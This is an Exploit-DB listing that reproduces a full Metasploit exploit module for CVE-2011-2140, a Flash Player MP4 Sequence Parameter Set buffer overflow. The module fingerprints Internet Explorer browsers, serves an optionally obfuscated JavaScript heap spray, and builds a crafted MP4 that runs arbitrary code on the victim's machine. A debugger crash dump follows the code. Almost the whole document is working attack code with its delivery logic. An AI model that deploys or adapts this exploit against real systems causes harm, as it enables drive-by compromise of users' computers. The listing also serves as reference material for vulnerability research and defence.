标题: Adobe Flash Player - MP4 SequenceParameterSetNALUnit Buffer Overflow (Metasploit) EDB-ID: 18479 CVE: 2011-2140 类型: REMOTE 平台: WINDOWS 发布日期: 2012-02-10 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
    component.  When processing a MP4 file (specifically the Sequence Parameter Set),
    Flash will see if pic_order_cnt_type is equal to 1, which sets the
    num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in
    offset_for_ref_frame on the stack, which allows arbitrary remote code execution
    under the context of the user.  Numerous reports also indicate that this
    vulnerability has been exploited in the wild.

     Please note that the exploit requires a SWF media player in order to trigger
    the bug, which currently isn't included in the framework.  However, software such
    as Longtail SWF Player is free for non-commercial use, and is easily obtainable.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Alexander Gavrun', #RCA
     'Abysssec',         #PoC
     'sinn3r'            #Metasploit
    ],
   'References'     =>
    [
     [ 'CVE', '2011-2140' ],
     [ 'BID', '49083' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-276/' ],
     [ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],
     [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],
     [ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ],
     [ 'URL', 'http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability/' ]
    ],
   'Payload'        =>
    {
     'BadChars'        => "\x00",
     'StackAdjustment' => -3500
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'         => "seh",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [ 'IE 6 on Windows XP SP3',         { 'Offset' => '0x600' } ], #0x5f4 = spot on
     [ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Aug 9 2011",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']),
     OptString.new('SWF_PLAYER_URI', [true, 'Path to the SWF Player'])
    ], self.class)
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1]
  elsif agent =~ /MSIE 7/
   return targets[2]
  else
   return nil
  end
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
   send_not_found(cli)
   return
  end

  # The SWF requests our MP4 trigger
  if request.uri =~ /\.mp4$/
   print_status("Sending MP4 to #{cli.peerhost}:#{cli.peerport}...")
   #print_error("Sorry, not sending you the mp4 for now")
   #send_not_found(cli)
   send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
   return
  end

  # Set payload depending on target
  p = payload.encoded

  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

  js = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");

  while (nops.length < 0x80000) nops += nops;
  var offset = nops.substring(0, #{my_target['Offset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);

  heap_obj.gc();

  for (var i=1; i < 0x300; i++) {
   heap_obj.alloc(block);
  }
  JS

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
  mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
  swf_uri = "#{datastore['SWF_PLAYER_URI']}?autostart=true&image=video.jpg&file=#{mp4_uri}"

  html = %Q|
  <html>
  <head>
  <script>
  #{js}
  </script>
  </head>
  <body>
  <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
  <param name="movie" value="#{swf_uri}">
  </object>
  </body>
  </html>
  |

  html = html.gsub(/^\t\t/, '')

  print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end

 def exploit
  @mp4 = create_mp4
  super
 end

 def create_mp4
  ftypAtom = "\x00\x00\x00\x20"                   #Size
  ftypAtom << "ftypisom"
  ftypAtom << "\x00\x00\x02\x00"
  ftypAtom << "isomiso2avc1mp41"

  mdatAtom = "\x00\x00\x00\x10"                   #Size
  mdatAtom << "mdat"
  mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"

  moovAtom1 = "\x00\x00\x08\x83"                  #Size
  moovAtom1 << "moov"                             #Move header box header
  moovAtom1 << "\x00\x00\x00"
  moovAtom1 << "lmvhd"                            # Type
  moovAtom1 << "\x00\x00\x00\x00"                 # Version/Flags
  moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
  moovAtom1 << "\x00\x00\x03\xE8"                 # Time scale
  moovAtom1 << "\x00\x00\x2F\x80"                 # Duration
  moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"
  moovAtom1 << "trak"                             # Track box header
  moovAtom1 << "\x00\x00\x00\x5C"
  moovAtom1 << "tkhd"
  moovAtom1 << "\x00\x00\x00\x0F"
  moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80"  # Creation time
  moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"
  moovAtom1 << "rmdia"
  moovAtom1 << "\x00\x00\x00\x20"                  # Size
  moovAtom1 << "mdhd"                              # Media header box
  moovAtom1 << "\x00\x00\x00\x00"                  # Version/Flags
  moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80"  # Creation time
  moovAtom1 << "\x00\x00\x00\x01"                  # Time scale
  moovAtom1 << "\x00\x00\x00\x0C"                  # Duration
  moovAtom1 << "\x55\xC4\x00\x00"
  moovAtom1 << "\x00\x00\x00\x2D"                  # Size
  moovAtom1 << "hdlr"                              # Handler Reference header
  moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "vide"                              # Handler type
  moovAtom1 << "\x00\x00\x00\x00\x00"
  moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "VideoHandler"                      # Handler name
  moovAtom1 << "\x00\x00\x00\x02\x1D"
  moovAtom1 << "minf"
  moovAtom1 << "\x00\x00\x00\x14"
  moovAtom1 << "vmhd"
  moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"
  moovAtom1 << "dinf"                              # Data information box header
  moovAtom1 << "\x00\x00\x00\x1c"
  moovAtom1 << "dref"                              # Data reference box
  moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
  moovAtom1 << "\x00\x00\x00\x0C"                  # Size
  moovAtom1 << "url "                              # Data entry URL box
  moovAtom1 << "\x00\x00\x00\x01"                  # Location / version / flags
  moovAtom1 << "\x00\x00\x09\xDD"                  # Size
  moovAtom1 << "stbl"
  moovAtom1 << "\x00\x00\x08\x99"
  moovAtom1 << "stsd"
  moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
  moovAtom1 << "\x00\x00\x08\x89"                  # Size
  moovAtom1 << "avc1"
  moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "\x01\x42"                          # Width
  moovAtom1 << "\x01\x42"                          # Height
  moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  moovAtom1 << "\x18"                              # Depth
  moovAtom1 << "\xFF\xFF"
  moovAtom1 << "\x00\x00\x08\x33"                  # Size
  moovAtom1 << "avcC"
  moovAtom1 << "\x01"                              # Config version
  moovAtom1 << "\x64"                              # Avc profile indication
  moovAtom1 << "\x00"                              # Compatibility
  moovAtom1 << "\x15"                              # Avc level indication
  moovAtom1 << "\xFF\xE1"

  # Although the fields have different values, they all become 0x0c0c0c0c
  # in memory.
  cycle =  "\x00\x00\x00"
  cycle << "\x30\x30\x30\x30"  #6th
  cycle << "\x00\x00\x00"
  cycle << "\x18\x18\x18\x18"  #7th
  cycle << "\x00\x00\x00"
  cycle << "\x0c\x0c\x0c\x0c"  #8th
  cycle << "\x00\x00\x00"
  cycle << "\x06\x06\x06\x06"  #1st
  cycle << "\x00\x00\x00"
  cycle << "\x03\x03\x03\x03"
  cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
  cycle << "\xc0\xc0\xc0\xc0"  # 4th
  cycle << "\x00\x00\x00"
  cycle << "\x60\x60\x60\x60"

  spsunit =  "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
  spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
  spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"
  spsunit << cycle * 35
  spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"

  moovAtom2 = "\x00\x00\x00\x18"
  moovAtom2 << "stts"
  moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"
  moovAtom2 << "\x00\x00\x00\x14"
  moovAtom2 << "stss"
  moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
  moovAtom2 << "pctts"
  moovAtom2 << "\x00\x00\x00\x00\x00\x00"
  moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
  moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
  moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
  moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"
  moovAtom2 << "\x00\x00\x00\x1C"
  moovAtom2 << "stsc"
  moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"
  moovAtom2 << "\x00\x00\x00\x44"
  moovAtom2 << "stsz"
  moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"
  moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"
  moovAtom2 << "\x00\x00\x00\x40"
  moovAtom2 << "stco"
  moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"
  moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"

  moovAtom = moovAtom1 + spsunit + moovAtom2
  m = ftypAtom + mdatAtom + moovAtom
  return m
 end

end

=begin
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx

Flash10u+0x5b4e8:
Missing image name, possible paged-out or corrupt data.
1f06b4e8 8901            mov     dword ptr [ecx],eax  ds:0023:020c0000=00905a4d
0:008> !exchain
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)

ECX points to 0x0c0c0c0c at the time of the crash:
0:008> r
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050246
<Unloaded_ud.drv>+0xc0c0c0b:
0c0c0c0c ??              ???

Example of SWF player URI:
http://www.jeroenwijering.com/embed/mediaplayer.swf

To-do:
IE 8 target
=end URL: https://www.exploit-db.com/exploits/18479